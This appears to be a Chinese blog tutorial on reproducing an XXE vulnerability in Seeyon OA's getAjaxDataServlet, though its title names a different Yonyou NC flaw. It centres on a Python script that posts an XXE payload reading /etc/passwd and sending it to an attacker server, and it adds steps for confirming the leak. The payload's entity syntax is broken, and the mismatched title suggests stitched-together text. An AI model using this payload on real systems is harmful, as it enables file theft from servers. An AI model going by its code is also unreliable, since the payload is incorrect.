用友 NC IUpdateService XXE漏洞复现

### 致远 getAjaxDataServlet XXE 漏洞复现方法 #### 准备工作 为了成功复现致远 `getAjaxDataServlet` 的XXE漏洞，需准备如下环境和工具： - **测试环境**：搭建一个易受攻击的致远OA系统版本。由于该漏洞存在于特定版本中[^3]，建议使用已知受影响的版本进行实验。 - **网络监听工具**：如Wireshark或Burp Suite用于捕获并分析HTTP流量。 #### 构造恶意XML数据包 构建能够触发XXE漏洞的有效载荷是关键所在。通常情况下，可以通过发送特制的POST请求给`getAjaxDataServlet`接口来尝试读取本地文件或其他敏感资源。下面是一个简单的Python脚本示例，展示了如何构造这样的请求： ```python import requests url = 'http://target.com/getAjaxDataServlet' payload = '''<?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY % remote SYSTEM "file:///etc/passwd"> <!ENTITY % init "<!ENTITY % send SYSTEM 'http://attacker-server/?%remote;'>"> ]> <root>&send;</root>''' headers = { 'Content-Type': 'text/xml', } response = requests.post(url, headers=headers, data=payload) print(response.text) ``` 这段代码会向目标服务器提交一个包含外部实体定义(`&remote`)以及内部参数化实体(`&init`)引用的XML文档作为输入。当服务端处理这个请求时，如果存在未修复的安全缺陷，则可能会将/etc/passwd的内容泄露出来并通过URL查询字符串的形式传递给指定的远程地址(attacker-server)[^4]。 请注意，在实际操作过程中应当遵循合法合规的原则，并确保获得授权后再对任何在线系统实施此类测试活动。 #### 验证结果 一旦上述过程完成之后，可以在自己的控制范围内检查是否有来自受害主机的数据被传输到了预先设定好的接收点上；也可以直接观察响应体内的异常返回值以确认是否存在潜在风险。 ---